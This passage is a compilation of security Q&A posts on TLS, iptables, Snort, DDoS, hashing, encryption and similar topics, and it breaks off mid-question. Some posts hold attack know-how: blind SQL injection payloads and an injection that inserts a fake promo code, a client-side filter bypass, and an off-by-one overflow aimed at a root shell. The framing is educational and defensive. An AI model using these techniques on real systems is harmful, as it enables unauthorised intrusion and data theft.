Your version of lynx is probably not providing the domain server in the TLS SNI extension, while both Safari and curl do. Wikipedia works fine without an explicit server name at TLS layer (it will have provided a wildcard cert *.wikipedia.org, with wikipedia.org as alternative name, so it doesn't need to present a different cert to your client). If your government filters didn't cater that case (or simply didn't want to block everything for which they didn't have a full hostname), such connection would be allowed, with most other clients failing.

According to the lynx changelog I would expect your lynx version to support SNI, though (added on 2.8.7pre.2 for openssl, on 2.8.8dev.15 for GNUTLS). You can easily confirm if it is being provided with a packet dump.


Is 1Password more secure than an AES encrypted text file? Are there extra measures taken by 1Password and KeePass, that make them more secure than an AES-256 encrypted text file? The database formats they use seem needlessly complex for my own purposes.

Which is faster, a Fiat 500 or a V12 Ferrari engine ? The Fiat 500 sure is a rather minimal car... but at least it has wheels. The Ferrari engine, however magnificent it may be, is still "just an engine"; put it down on a road and it will be no more mobile than a boulder. Therefore, the question does not really make sense.

And so is yours. AES is a block cipher, a mathematical object which alone does not achieve any kind of security. Products like 1Password and KeePass use AES and other algorithms into elaborate constructions which try to ensure confidentiality and integrity of the database of passwords. In that sense, they can be compared with "AES" no more than a Fiat 500 is comparable to a lone engine.

Encrypting even a simple file of passwords, with a master password, requires some care. The master password must be converted into an encryption key; this is the realm of password hashing and it is not simple. Then, the AES should be used with a mode of operation, which has its own rules (IV selection, padding...). Preferably, some sort of MAC is needed, and combining symmetric encryption and a MAC is a subtle matter. Last but not least, when you encrypt and/or decrypt a file, you tend to produce temporary files which will be written on the harddisk, with the clear file contents in them. Deleting files is not sufficient to ensure data destruction. Decrypting the file "in memory" and never letting the data go to the disk can be tricky, especially in the presence of virtual memory.

All of this amounts to this conclusion: while a file full of passwords, encrypted with AES, can be handy, there are a lot of details to take care of, and that's hard work. Most of existing products is about doing such work. You can do it yourself, but it won't be as immediate as slapping together a few OpenSSL-based scripts.

Then products like KeePass also provide some extra features which are not to be despised; see the list.


How can i reject connection from LAN and WAN to some ports? Scanning with nmap, I discovered that there are 3 open ports on my server. I want to deny any access to these ports from any machine, regardless of whether it is on the same LAN or via WAN. How do I write an iptables rule for this?

If you want to deny access to all the machines ("any machine from LAN and WAN") it is better to either stop those services or bind them to the localhost. This way there will be no chance of messing up iptable rules.

Still, you can use IPTABLES to block access to specific ports as well.

iptables -A INPUT -p tcp --destination-port <port of the service you want to block> -j DROP

Repeat the above rule for all the ports you want to block access to.


SQL Injection and JavaScript Regex Bypass me for learning SQLI. But I got stuck at this one regex which seems to be unbreakable :

document.loginForm.username.value = document.loginForm.username.value.replace(/[^a-zA-Z0-9]/g, "");

If someone could give me any hint to this one?
:)

Thanks

Disable your javascript.

If your using FireFox:
Go to "about:config" then "javascript.enabled" set to "false"

If you just need to remove certain javascript as you rely on the other javascript install FireBug and remove the code you don't want.


Snort even though working properly does not report majority of rules I have installed Snort 2.9.7.0 and it does not detect majority of attacks, such as nmap port scans, downloading exe files, opening documents containing keyword "root".

I use Snort together with Pulled Pork and Barnyard2. Everything seems to function and I can see alerts on the website that is powered by BASE.

The problem is that I can only trigger 3 different alerts. Everything else is simply not detected. I want obviously to be able to get alerts when someone performs port scanning, trying to attempt to perform DDOS attack and so on. This I cannot trigger. Do I have to enable something somewhere?...

I have made my own local.rules file, which contains a single rule - monitoring of ICMP echo packets.

Pulled Pork does show that it has downloaded over 20000 rules and over 5000 rules are enabled. This can be seen in snort.rules file, which I included in snort.conf file.

The 3 alerts I am able to trigger are:

stream5: TCP Small Segment Threshold Exceeded (this is due to my old
Win SCP client)
ssh: Protocol mismatch (this is due to my old Putty client)
ICMP test (my own rule from local.rules)

My snort.conf can be found on the following website (had to move it there, because i reached max chars list): https://paste.ee/p/RTUgY

My pulledpork.conf can be found on the following website: https://paste.ee/p/ixZqW

My local.rules looks like this (which does work):

alert icmp any any -> $HOME_NET any (msg:"ICMP test"; sid:10000001; rev:001;)

Ok Break your Question with its solution into parts.

PortScan

There are some configurations that you need to change to enable nmap portscan open the snort configuration file with sudo gedit /etc/snort/snort.conf.

uncomment and modify this line ( #428 usually ) :

Portscan detection.  For more information, see README.sfportscan

preprocessor sfportscan: proto  { all } memcap { 10000000 } sense_level { medium } logfile { /var/log/snort/portscan.log }

sudo service snort restart
Downloading exe file

You need to find rules or write your own rule.It mostly present in ET or Snort rules by default you need to find it and uncomment it.

You can find each type of rule for the purpose you are requiring there
    /etc/snort/rules/snort.rules (In most cases)
You need to find your own file.


Online transactions: which one is safer - credit card or netbanking? There are various modes of online transaction, such as through entering credit card details, and through netbanking. Which one is safer? it seems there are some risks with credit card mode mode but is netbanking safer than that?

I seacrched the google but I didn't find the answer.

Most of the protection around using credit cards is legal (will vary slightly across different countries). Due to the nature of the transaction, when you use a credit card, your recipient is not accepting your cash, but the card provider's -- who will in turn charge you back. If you're victim of fraud, you can simply call the payment provider and ask them to cancel the transaction. Unless they suspect you in any meaningful way (i.e. if you do this often), they'll just do it without asking questions. This is why you should keep an eye on your statements to react quickly if need be. Also make sure you immediately report lost or stolen cards (credit and debit).

(btw: This is an excellent answer to the other question you posed, much better written than mine: https://security.stackexchange.com/a/233078/200347)

This is safer than debit card from a liability perspective since with a debit card you are paying with your own money and in case of fraud you'll need to make the recipient return the cash or have your bank cover the expense -- if they agree it's fraud and you couldn't have avoided it (which is variable).

Netbanking is whatever banks want to call their system. Could be a way to use pre-paid credit cards, a way to execute transfers, a way to electronically transfer cash (like paypal), etc. So unless you have further details about what netbanking is for you, it's not possible to draw a conclusion.


Security Risks Involved in Deploying Win Server 2008 on a Linux host The Question:
Are there any major security risks I should be concerned about, caused by installing Windows Server 2008 R2 onto a Linux Host in VirtualBox?

I run an Ubuntu box, with a fully-secured iptables setup, which blocks all external traffic except for one or two ports which run an OpenSSH server (which requires key-based authentication only), but am curious as to whether any other security risks are apparent which I should be concerned about.

Info about use of the Windows Server 2008 setup:
This is a dev environment, being set up for SharePoint Foundations, along with full SQL Server 2008 (latest version). Myself and two other machines on my network (which are also owned by me) would be accessing the system from an internal network. No external internet access is necessary, but internal network access is (already handled by an iptables rule to allow connections into the host machine)

Chris is basically there I think.

In my opinion, the best way to treat virtual machines is to not think of them as virtual machines but actual physical computers, with the advantage of being able to image them faster. Ask yourself if you installed another physical windows box on your local LAN what problems it would introduce. Consider that it needs the same defences.

The reason for this is that the temptation is to trust all network communications from a VM and think "it's a VM, so it is secure". Provided you realise you need some level of protection for the VM too as it can attack your host and your host can attack it if either is exploited, mostly, you should be fine.

There is current research into red pill techniques, as in "escaping the matrix". The idea is that if you can exploit a bug in the virtualisation hardware/software from the guest you might be able to exploit the host. Right now, I don't think that is much more than a research/theoretical/lab conditions issue, but I expect given the sheer amount of virtualisation going on, it will eventually be something we have to contend with.

I and others have answered some other points on the question of using virtual machines as a security measure for desktops, which might also interest you.


Any network related security benefits using RODC (Read Only DC) in DMZ? Windows servers in the DMZ need to communicate with the Active Directory.
I do not like that the servers will have direct communication with my Active Directory, so I consider installing a Read-Only Domain Controller that replicate the real one.

It seems like there are security benefits with RODC only when it is not physical secure - no passwords are cached, if someone steals it, they still cannot modify the real AD or find the credentials to do so.

http://technet.microsoft.com/en-us/library/cc732801(v=ws.10).aspx:

Inadequate physical security is the most common reason to consider deploying
an RODC. An RODC provides a way to deploy a domain controller more securely in
locations that require fast and reliable authentication services but cannot
ensure physical security for a writable domain controller.

Are there any real benefit with implementing a RODC when it comes to network security?

RODCs really are all about physcial security, and not at all about network security. They're an upgrade of ye olde Backup Domain Controllers, that had a nasty tendency to get stolen (and the database along with it).
RODCs come with a unique kbtgt account, so they can't intrude on Active Directory, or decipher kerberos tickets on behalf of WDCs, in case of a physical breach, and by default RODCs don't allow password caching, again in case of a physical breach.
By restricting cached credentials, to only user and computer accounts belonging to a branch office, you limit the fallout in case of a breach, and you allow the branch office to continue functioning in case of a link down.
I know Microsoft technically officially supports putting RODCs in the DMZ, but from experience I can say that this is really more trouble than it's worth. You'll have to audit every single one of your AD integrated applications to ensure that it supports working with a RODC. Why? Because there are still many scenarios that RODCs simply do not support. Certain RPC calls can and will simply fail without reason. These scenarios are described in the Microsoft document Planning and Deploying Read-Only Domain Controllers, subsection Read-Only Active Directory Database, SYSVOL, and Unidirectional Replication:

When a user or application in a site that is serviced by an RODC attempts to perform a write operation, one of the following actions can occur:

The RODC forwards the write request to a writable domain controller and then replicates the change back from the writable domain controller. For most write operations, the change is replicated back to the RODC during the next scheduled replication interval. In some other cases, the RODC attempts to replicate the change immediately. An RODC forwards a very limited set of writes, including the following:

Most types of password changes. For more information about password changes, see Password changes on an RODC.
Service principal name (SPN) updates. When a domain-joined computer has a secure channel to an RODC and Netlogon attempts to update SPNs, the forwarding is done over RPC.
Some updates to client attributes over Netlogon: client name, DnsHostName, OsVersionInfo, OsName, Supported Encryption Types
LastLogonTimeStamp. When a domain-joined computer has a secure channel to an RODC and Netlogon attempts to update these attributes, the forwarding is done over LDAP.

The RODC sends a referral for a writable domain controller to the client. The application from which the write operation originated can then chase the referral and target a writable domain controller to perform the write operation. By default, RODCs send referrals for Lightweight Directory Access Protocol (LDAP) updates and Domain Name System (DNS) record updates.
The write operation fails: it is neither referred nor forwarded to a writable domain controller. In this case, the application requesting the write should be updated to specifically target a writable domain controller. A number of RPC writes fall under this category.


Can a google form contain a virus or other malware? Just wondering if this is possible? A newsletter I'm applying to be featured in needs my information to be filled out on a google form. I remember Word documents used to be vulnerable to macro viruses, and I was wondering if anything similar is possible in a google doc/spreadsheet/form.

Thanks in advance!

A Google form is a page hosted by Google to collect information from sources in text boxes, radio buttons etc. We cannot say that it is 100% secure but it is highly unlikely that you will get infected via a Google form unless it happens to include a link to a malware and you actively click on it.

As far as Google docs or spreadsheets go, again, it is unlikely since Google scans all documents on the cloud. In short, while theoretically it may be possible, practically, to my knowledge, there are no cases of macro viruses spreading through Google docs or spreadsheets or forms.


Recommendations for tamper resistance without reasonable access security I have an off-the-shelf PC with a database on it (CouchDB). The database contains sensitive data. I'm taking this machine to a community with poor/zero data connectivity, where the database will accessible through their LAN. At some frequency, the machine will sync with an upstream "master" database in AWS - the machine may be physically driven to a place with connectivity to sync as required.

The machine has both public/private keys for a self-signed SSL certificates trusted by those using the service locally.

I cannot provide any reasonable level of access security to the machine. It is likely an unsolvable security situation. That said, I'm looking for some mitigations which I can do to decrease the severity of a successful attack and increase barriers to a successful attack.

Full Disk Encryption (one "admin" on site will need this password in case of a reboot)
Limit the amount of data on the machine.
Can ensure nobody on site has user/root credentials for the machine (only tech support coming in to fix an issue).

Beyond these steps, what barriers should I be considering to make this tamper resistant? I'm primarily concerned about data privacy + data integrity.

Your barriers are going to be hardening your OS, mainly, so that it doesn't allow things like root access and USB peripherals. I can think of two major things though:

First, use TPM-bound Full Disk Encryption. This eliminates an on-site admin with the password to the disk. Properly configured, hardware and pre-boot changes will result in the disk being locked out.

Second, ensure you have a modern secure boot implementation (you can bind the FDE to secure boot state), to prevent some tampering with firmware and memory, which ensures TPM effectiveness.

You may also want to use AMD's memory encryption, but that is a fairly advanced attacker who has tens of thousands of dollars of equipment.


DDoS - Impossible to stop? Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet.

But what if, in like 5 years, everyone is able to rent a botnet? Shouldn't we just re-think the whole internet architecture then?

1: by stop I also accept remove the negative effects aka keep the service running.

Imagine a shopping mall. By definition, anybody can enter the mall and then browse the shops. It is public. The shops are expecting people to come by, look at the displays, maybe enter and then buy things.

In the mall, there is a shopkeeper, who sells, say, computers. Let's call him Jim. He wants people to come by and see the computers and be enticed into buying them. Jim is the nice guy in our story.

Let there be Bob. Bob is a disgruntled nihilist who hates Jim. Bob would go to great lengths to make Jim unhappy, e.g. disrupting Jim's business. Bob does not have many friends, but he is smart, in his own twisted way. One day, Bob spends some money to make the local newspaper publish an ad; the ad states, in big fonts and vivid colours, that Jim runs a great promotion at the occasion of his shop's tenth birthday: the first one hundred customers who enter the shop will receive a free iPad. In order to cover his tracks, Bob performs his dealings with the newspaper under the pseudonym of "bob" (which is his name, but spelled backwards).

The next day, of course, the poor Jim is submerged by people who want a free iPad. The crowd clogs Jim's shop but also a substantial part of the mall, which becomes full of disappointed persons who begin to understand that there is no such thing as a free iPad. Their negativeness makes them unlikely to buy anything else, and in any way they cannot move because of the press of the crowd, so business in the mall stops altogether. Jim becomes highly unpopular, with the ex-iPad-cravers, but also with his shopkeeper colleagues. Bob sniggers.

At this point, Jim contacts the mall manager Sarah. Sarah decides to handle the emergency by calling the firemen. The firemen come with their shining helmets, flashing trucks, screaming sirens and sharp axes, and soon convince the crowd to disperse. Then, Sarah calls her friend Gunther. Gunther is a son of German immigrants, a pure product of the US Melting Pot, but more importantly he is a FBI agent, in charge of the issue. Gunther is smart, in his own twisted way. He contacts the newspaper, and is first puzzled, but then has an intuitive revelation: ah-HA! "bob" is just "Bob" spelled backwards ! Gunther promptly proceeds to arrest Bob and send him meet his grim but legal fate before the county Judge.

Finally, in order to avoid further issues with other nihilists who would not be sufficiently deterred by the vision of Bob's dismembered corpse put on display in front of the mall, Sarah devises a mitigation measure: she hires Henry and Herbert, two mean-looking muscular young men, and posts them at the mall entries. Henry and Herbert are responsible for blocking access should a large number of people try to come in, beyond a given threshold. If a proto-Bob strikes again, this will allow the management of the problem on the outside, in the parking lot, where space is not lacking and crowd control much easier.

Morality: a DDoS cannot be prevented, but its consequences can be mitigated by putting proactive measures, and perpetrators might be deterred through the usual, historically-approved display of muscle from law enforcement agencies. If botnets become too easy to rent, predictable consequences include increased police involvement, proactive authentication of users at infrastructure level, shutting off of the most disreputable parts of the network (in particular Internet access for the less cooperative countries), and a heavy dose of disgruntlement and sadness at the loss of a past, more civilized age.


What is ASN.1 usage in SSL protocl and What's the risk of using it? I heard that ASN.1, which is part of browser SSL libraries, introduces the potential risk of compromise our system even if we use no-script. but what is ASN.1 exactly doing? Why do we need to use something like ASN.1 to encode/decode data (such as text or images or binary) for encryption/decryption that put our computer in risk? because SSL is a protocol for encrypting data and sending it over internet.

Comment by user20883: in Wikipedia about ASN.1 says : If we want to transmit this :

myQuestion FooQuestion ::= {
trackingNumber     5,
question           "Anybody there?"

We change it to this :

30 — type tag indicating SEQUENCE
13 — length in octets of value that follows
   02 — type tag indicating INTEGER
   01 — length in octets of value that follows
      05 — value (5)
   16 — type tag indicating IA5String
        (IA5 means the full 7-bit ISO 646 set,
        including variants, but is generally US-ASCII)
   0e — length in octets of value that follows
      41 6e 79 62 6f 64 79 20 74 68 65 72 65 3f
         — value ("Anybody there?")

to make this and send over TCP :

30 13 02 01 05 16 0e 41 6e 79 62 6f 64 79 20 74 68 65 72 65 3f

But I say if we want send that message we can simply use UTF-8 or just binary encoding to encrypt that message instead of changing message to a software !!!

We can simply do this to make message ready for AES encryption :

myQuestion(space character}FooQuestion(space character}::=(space character}trackingNumber(space character}(space character}5,question(space character}(space character}"Anybody there?"

Update:  now we have a simple block of dara to encrypt with AES directly and we don't need to make our message as a shell code !!! its just a message we like other messages we encrypt always and there is no need any encoding or exploit ...

It is ASN.1. ASN.1 is a generic syntax for describing structured data types, coupled with some encoding rules which tell how such data values are to be encoded as sequence of bytes, and decoded back. X.509 certificates are specified to use ASN.1 with the "DER" encoding rules.

ASN.1 is quite complex, and quite more complex than it should be, because of a long history of committee-driven development. In particular, it includes a lot of distinct character string types for no apparent reasons, and its types to encode dates are remarkably inefficient and hard to handle (and one of them is subject to Y2K issues, currently scheduled for 2050). Faced with this complexity, developers often found attractive the idea of doing specialized decoding "just for certificates", in order to avoid the daunting task of implementing a generic and systematic decoder (in particular, it is possible but inconvenient to implement a full-featured generic ASN.1 decoder in languages such as C which lack automatic memory management, e.g. garbage collectors).

Doing specialized code "by hand", to avoid the overhead of a systematic approach, means that the developer will need to think a lot more about possible issues when presented with "abnormal" data. This is a fertile ground for vulnerabilities (developers are only human, after all) and this is precisely what happened in OpenSSL.

(Other libraries may be impacted as well. I am using OpenSSL as an example because it is very widespread, and also because it is written in C, making consequences of buffer overflows and use-after-free bugs much more dangerous, up to and including arbitrary code execution. In libraries in more controlled languages, which check array boundaries and use a GC, will get less dire effects: a buffer overflow triggers an exception, which is inconvenient but less so than a remote shell for an attacker.)


Solution to site database Our warehouse site desperately requires a database that runs efficiently, is secure and we can modify ourselves. Unfortunately the Company's policy does not allow any servers on site, only at headquarters. We are allowed to create MS Access databases and modify them, but if we wish them to be run on a SQL server, it has to be supported by IT and we lose access to make any modifications. Access runs like a snail over the network as headquarters is in another state. Even a small file with a simple structure can freeze up or take minutes to open a form.

My question is, is there a solution for our situation? Is it possible to get around all the red tape? How can I argue that they aren't providing what we need and get them to listen?

Before trying to convince them that their policy is restricting your requirements, first find out why they have this policy in place.

I have worked with companies in the past with similar requirements, and it can be a pain, but when you consider the risks of a locally hosted SQL server (backup requirements, licensing requirements, risk of an insecure and untested front end, patching and maintenance issues) it makes more sense to have them hosted in a central location with dedicated personnel.

I know this maybe isn't the answer that you are looking for, but it is much easier to work with a company policy when you understand the reason for it existing.


How exactly can a public server be compromised? I'm in the process of setting up a network and it needs a site for users to be accessible on the internet. I keep reading about not having a public server on a local network, domain etc etc. And that it must be in a DMZ.

Now I'm no security expert by any means but say there is a firewall between the internet and the network that was setup "correctly" with the "best" possible security and had one port forward to the internal web server. Assuming also that the web application code (PHP in this case) was also secure and all user passwords where secure, what possible way is there to compromise the system and get internal access to the network?

I understand that a DDOS is possible (assuming you don't have some detection system against that) but such attacks doesn't get you internal access. And in this case its not a big organisation or anything, so a DDOS or smilier is unlikely unless a bot stumbles on our public IP.

What I dont get even more is how can just a plain HTML, CSS and JS site be compromised? PHP and server side code can obviously be a big security risk if it was badly done as it runs on the server. But if properly coded....

I might be blind but I seriously dont understand how well written code, closed ports and a properly setup firewall would allow a system compromise. As far as I see having open ports with ssh, ftp and such are what can allow you to compromise a system.

Hope I'm not beeing a big idiot. :)

Assuming also that the web application code (PHP in this case) was also secure and all user passwords where secure [...]

That's like saying "assuming that the lock is unpickable and the house has no windows, how could a burglar possibly break in?" You can't assume that, it's completely unrealistic. No code is perfectly secure unless it was written by the Gods themselves (and they wouldn't write it in PHP). And users do pick bad passwords and reuse them on all sorts of places, unless off course your users are Gods as well.


How I Could Have Hacked Any Instagram Account - The Zero Hack I am new to the field of security. I thought a lot about the following scenario and could not come up with a good solution

1) Suppose I go to instagram forgot password page. I enter a persons mobile number whose account I want to hack.

2) It sends a 6 digit code to that person.

3) I want to brute force it - around a million combinations.

4) I get 5000 Ips and send 200 requests per IP and brute force it i,e sending requests concurrently from all the IPs. There is a race condition here right. So wouldn't I be able to break in?

As the requests are going concurrently how can you keep a count and block the user after few failed attempts? That is what this guy did L https://www.forbes.com/sites/leemathews/2019/07/15/hacker-discovers-a-simple-way-to-hijack-any-instagram-account/#56e3c87e7b64 Can someone explain how this was possible and how to mitigate it?

Can someone explain how this was possible

It was possible due to a lack of rate-limiting on the action/request. As you said, it could be brute-forced hence.
Instagram has now patched this issue. I haven't seen any official publication on the mitigation measures, but a quick visit to Instagram's Password Reset Page reveals the [intended] user is now sent a link.

and how to mitigate it?

You could rate-limit the action/request - not only by IP address but actually upon the action itself. However, this would pose a potential DOS(Denial of Service) attack - hence why Instagram probably did not limit it as such in the first place.
For one, given it is a 6 digit code given to the user you could significantly reduce the rate-limiting threshold per IP address (i.e. from 200 to 20) to increase significantly the cost of the attack.
But put simply, the 6 digit code itself is flawed. Although the DOS attack may be viewed as 'unlikely', it carries relatively small cost given the potential gains/motives for the attacker, so it should be mitigated.
Hence, as instagram have - the easiest solution is to verify the user via more secure means, e.g.:
Send a link to the user (via external, previously established, communication channels) and then get them to input the code at this unique link.
Make the code 10 digits alphanumeric and set a 30 minute expiration & rate-limit the number of codes that can be issued repeatedly.
etc.


Help with hash functions and pseudo-random functions I am a little bit confused about the terms "hash function" and "pseudo-random function". As far as I know, I can use a cryptographic strong hash function as a PRF. The hash function has a IV and is completely public - everybody can look at the construction and at the details. A good hash function maps the input in a pseudorandom way to its output (deterministic).

So a pseudorandom function is quite similar. Here you do not take a fix hash function, rather than you take a function from a set of functions. That model is implied by using a keyed function. So there are often keyed hash functions used for example the HMAC is taken as a PRF.

So in a limited view, is it right to say that an attacker does not know my "internal conditions" of my PRF? (I mean my current Setting: which key I use and which hash function, or if I use HMAC, he does not know my key and my constants and my hash function.)

You pretty much answered your own question. In addition to being unable to determine the parameters (conditions in your words), a PRF should be indistinguishable from, lets say, true randomness or a random oracle.


Using an off-by-one buffer overflow can I manipulate EIP to execute code located outside the target program? This is for a Computer and Network Security class. I am not asking for the solution, rather just a pointer in the right direction.

The target program has an off-by-one vulnerability and is compiled such that ebp is not pushed on the stack. By attacking the vulnerability, I am able to change the last byte of the eip and effectively send the program to any instruction in the program.

My question is, if I place some malicious code in the exploit program (that calls the target program via an execve), can I change the eip to point to this malicious code, or is the runtime smart enough to know that I am attempting to execute code that is located outside the bounds of the target program and thus, not allow it?

The environment is a stripped down Debian Etch VM with no ASLR etc. The target program has setuid set to root, so my goal is to get the target program to execute instructions that pull up a shell (giving me root shell).

It is a computer, it cannot be smart.

From the point of view of the kernel, memory space is split into pages (typically 4 kB per page). Each page has access rights, like "can be written to", "can be read", "can be executed" or "cannot be accessed / not here". The kernel will not mind in any way as long as you jump into a page which is marked as "can be executed". If you alter only the least significant byte of eip, you will fall into the same page than the original caller, so the jump will be allowed. Of course, if you jump into bytes which do not make sense as instructions, things will go sour pretty fast...

(Note: on 32-bit x86 CPU, with usual operating systems, there may be no difference between "can read" and "can execute" for pages; it is a quirk of the Memory Management Unit used in the early 32-bit x86 CPU.)


Next steps after exploiting blind SQL injection I have discovered a web form that accepts an email and promo code, and if the code is valid, you would receive an in-game gift. Unfortunately, I had no promo codes, however I've found this form to contain SQL injection vulnerabilities on both fields.

Disclaimer: After discovering the initial vulnerability I had reported it to server owner and asked for the permission to poke around, so he granted the permission to me and removed the vulnerable form from public access.

I have managed to reconstruct remote logic (in pseudocode):

handle(code, email) {
    cursor = `SELECT type, date FROM codes WHERE code='${code}' LIMIT 1`;

    if (cursor.rows != 0) {
        `INSERT INTO codes
         (code, type, email, date)
         VALUES ('already_used', 0, '${email}', NOW())`;

        return 'Error: promo code has already been used';
    }

    if (cursor.date != NULL) {
        `INSERT INTO codes
         (code, type, email, date)
         VALUES ('invalid', 0, '${email}', NOW())`;

        return 'Error: invalid promo code';
    }

    `UPDATE codes SET email='${email}', date=NOW() WHERE code='${code}'`;

    if (cursor.type == 2) {
        send_mail(to=email, "<html>You have used promo ${code}, but the cake is a lie.</html>");
    }

    return 'HUGE SUCCESS! You will now get a cake.';
}

And the schema of codes table is seemingly as follows:

CREATE TABLE codes (
    id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
    code CHAR(16) NOT NULL,
    type INT NOT NULL,
    email VARCHAR(256),
    date DATETIME
);

Injection into code field is blind — so I can check whether SQL expr is true ("already used promo") or false ("invalid promo"). I am using ' OR (${expr}) # vector.

I have expanded this channel to allow passing string results out. First I detect result length via ' OR ((${expr}) REGEXP '^.{N,}') # checks, using binary search to find proper N. Then I reveal the result char by char using range queries like ' OR (CONVERT((${expr}) USING BINARY) REGEXP '^id[[.comma.]][f-k]') # via binary search for each char.

This way I've learned the VERSION() (MySQL 5.1.73-cll), exact schema of codes table via information_schema introspection, names of other databases etc. I don't have FILE permission, so I cannot use LOAD_FILE().

Exploiting injection in email field, I have managed to register a new promo code via ', NOW()), ('fake-promo', 2, NULL, NULL) # vector.

Because warnings were not suppressed, I know the absolute path to PHP script that handles these requests. Unfortunately, as I lack FILE permission, I don't know the way to get its source. From warnings I can also tell that script uses obsolete mysql_query() and mysql_num_rows() APIs.

Script sends emails that have X-Source-Args and X-Source-Dir headers set (and PHP seems to run under apache2), so I can conclude that emails are sent via PHP mail() function.

So, what are my further steps in exploring the system?

I am suggesting that mail might be exploitable with some sort of shell injection via forged recipient email, however I am not sure where to start from.

Also, any other attack vectors maybe? Making UPDATE, INSERT or DELETE possible on arbitrary tables? Breaking out of my one-bit communication channel? Reading the source of PHP script?

It looks to me like you explored this one pretty well. But pentesting means enumeration, enumeration, enumeration. So if you want to go deeper you should also try to find out everything you can around other potential attack vectors. Web server paths and the like. Maybe you find an admin logon page. Can you fully enumerate the db? What about user tables and passwords?

That said, you wouldn't be the first one who can't turn a SQL injection vuln into a reverse shell. If you can fully enumerate the DB that is already a pretty significant breach of the target.


What could someone do if they knew my MAC address? Assuming someone knows my MAC ddress (someone inside my network or outside), could they exploit it or do some action on my behalf or any action that needs to be considered?

Because I have noticed some people on YouTube hide their MAC address.

Your MAC address is your machine's hardware address. This is mostly only important when an attacker is on the same network as you. At this point an attacker could do deauth attacks or intercept your traffic by posing as the networks router. However if an attacker is on or near your network is is trivial to get your MAC address. You can also change your MAC address as you please. The people trying to hide their MAC address likely do not fully understand networking and erroneously believe it to be a risk.


Is this way of encoding cryptographic hashes safe? I'm looking at the code of a particular web application that handle file uploads. For some reason, instead of using the cryptographic hash function (SHA-256 in this case), they derive an ID from it, and use that everywhere instead, to identify files uniquely.

The steps involved are as follows:

Calculate the SHA-256 sum of the required file.
Take a maximum of 3 characters per iteration, and treating it as a hex string, convert it to its equivalent base62 notation (i.e. 0-9a-zA-Z => 0 - 62).
Append these strings in that order, and obtain the "ID".

For example:

hash (file) = 26ba0a896923d2de4cad532a3f05da725d9cc08d371eaf96905f5bbc1901b56f

26b  -------> 9Z
a0a  -------> Fs
896  -------> zs
923  -------> BJ
d2d  -------> Sp
e4c  -------> X2
ad5  -------> IJ
32a  -------> d4
3f0  -------> gg
5da  -------> oa
725  -------> tv
d9c  -------> Uc
c08  -------> NG
d37  -------> Sz
1ea  -------> 7U
f96  -------> 12m
905  -------> Bf
f5b  -------> 11p
bc1  -------> Mx
901  -------> Bb
b56  -------> KO
f    -------> f

ID = 9ZFszsBJSpX2IJd4ggoatvUcNGSz7U12mBf11pMxBbKOf

To me, this does not seem to be a safe way to truncate the hash at all. In particular, it looks to me that the probability of collisions increases this way.*

Do the above operations pose a problem, or do they not interfere with the cryptographic strengths of SHA256?

* The resistances of the SHA-2 functions may prevent an attacker from exploiting this. However, I'm just concerned about the premise of the function itself.

This is almost a perfectly fine practice, but it has a bit of a flaw.

In general, a hash is just a numeric value, and you can express it in whatever base you please. For example, you could convert your hash to binary and express it as base64:

   2   6   b   a  ...
   |   |   |   |
0010011010111010  ...
      |      |
      T      u

However, the serious problem with your approach here is the clustering of the output. Three hex digits may transform into either one, two, or three base62 digits. There is no reliable way to decide how to cluster the base62 values. If you had leading zeros (i.e., you transformed three hex digits into three base62 digits) and/or used a larger base (e.g., three hex digits could map onto exactly two base128 digits with leading zeroes), you could avoid this problem.

To see a practical example of this, consider that hex f43 maps to base62 111 and 03f maps onto base62 11. Consider the impossibility of distingusinging between the base62-forms of the following hashes:

f43f43f43f43f43f43f43f43f43f4303f03f03f03f03f03f03f03f03f03f9991
03f03f03f03f03f03f03f03f03f03ff43f43f43f43f43f43f43f43f43f439991
03ff4303ff4303ff4303ff4303ff4303ff4303ff4303ff4303ff4303ff439991

All of these hashes transform into

11111111111111111111111111111111111111111111111111CC1

There is no way to know which 1s are part of a three-character group and which are part of a two character group. Obviously, this is an extreme example, but the problem will arise any time a group has a leading 1 that is ambiguous.

However, three- and one-digit output groups only happen for 314 out of the possible 4096 values that group can be, and there will only be ambiguity for a fraction of those cases. A comment from Gilles, below, estimates the resultant truncated value will preserve 254 bits:

  As far as we know, the bits of a SHA-2 hash are independent. This truncation doesn't exactly strip bits, but it's close enough that it should be independent too. The non-uniqueness concerns only about lg(12³-62²)≈0.1 bit per 3 hex digits, so the result should have roughly the strength of a 254-bit hash.

The loss of two bits is obviously not optimal, but it's far from a devastating loss.


Is layered encryption more secure than long passwords? The comments in this question debate about the added security of multi-layered encryption. There seems to be some disagreement, and I thought a proper question would be helpful here.

So, to provide some common background, consider the following two scenarios:

I apply symmetric encryption to a given file, as follows:

gpg --symmetric --cipher-algo AES256 my_file.txt

to which I add the password "mydogisamazing"
I apply four layers of encryption to a given file, as follows:

gpg --symmetric --cipher-algo AES256 my_file.txt
gpg --symmetric --cipher-algo AES256 my_file.txt.gpg
gpg --symmetric --cipher-algo AES256 my_file.txt.gpg.gpg
gpg --symmetric --cipher-algo AES256 my_file.txt.gpg.gpg.gpg

where the passwords supply to each are, respectively: "amazing" "is" "dog" "my" (so, when I decrypt all the layers, I have entered "my" "dog" "is" "amazing")

Is option 2 more secure than option 1? Knowing almost nothing about encryption security, it seems to me it is, because anyone wanting to break in would have to run some password algorithm four times, whereas in option 1 the algorithm needs to be run 1 time only. What if different chiper-algo were used instead of the same?

All in all, it seems also obvious to me that the answer does depend on the nature of the passwords. For instance, if I have 15 layers of encryption and each layer's password is merely one letter, it seems "trivial" to break the code.

UPDATE: in response to a comment, I stress that the example above was trying to present an apparent "equivalent" case, i.e "shorter passwords + more layers" versus "longer passwords + less layers". It seems only obvious to me (maybe wrong) that merely adding more layers of identical complexity will only increase the security of the encryption (in the mere sense of taking longer to hack the passwords). Hence my stress on the varying length of passwords.

Option 1 is more secure. In option 2, we can guess each word seperately. When we guess "amazing", we get confirmation that this word is correct and we can continue to the second word. In option 1, we have to guess all four words at the same time.

You may think that one GPG offers some security, and four GPGs offer four times that security, but it doesn't work like that. GPG offers near total security, and applying it more times does not improve security.

There are uses for applying encryption multiple times, for example when both signing and encrypting, or when encrypting for multiple parties. However, encrypting things several times does not in general makes them several times more secure.


Is there any point in using 'strict-dynamic' in an AngularJS 1.x application? I do not see the point in using CSP 3's new strict-dynamic in the case of an AngularJS 1.x application.

As far as I can tell, using strict-dynamic still allows arbitrary Javascript injection via a sandbox escape in a template:

<html>
  <head>
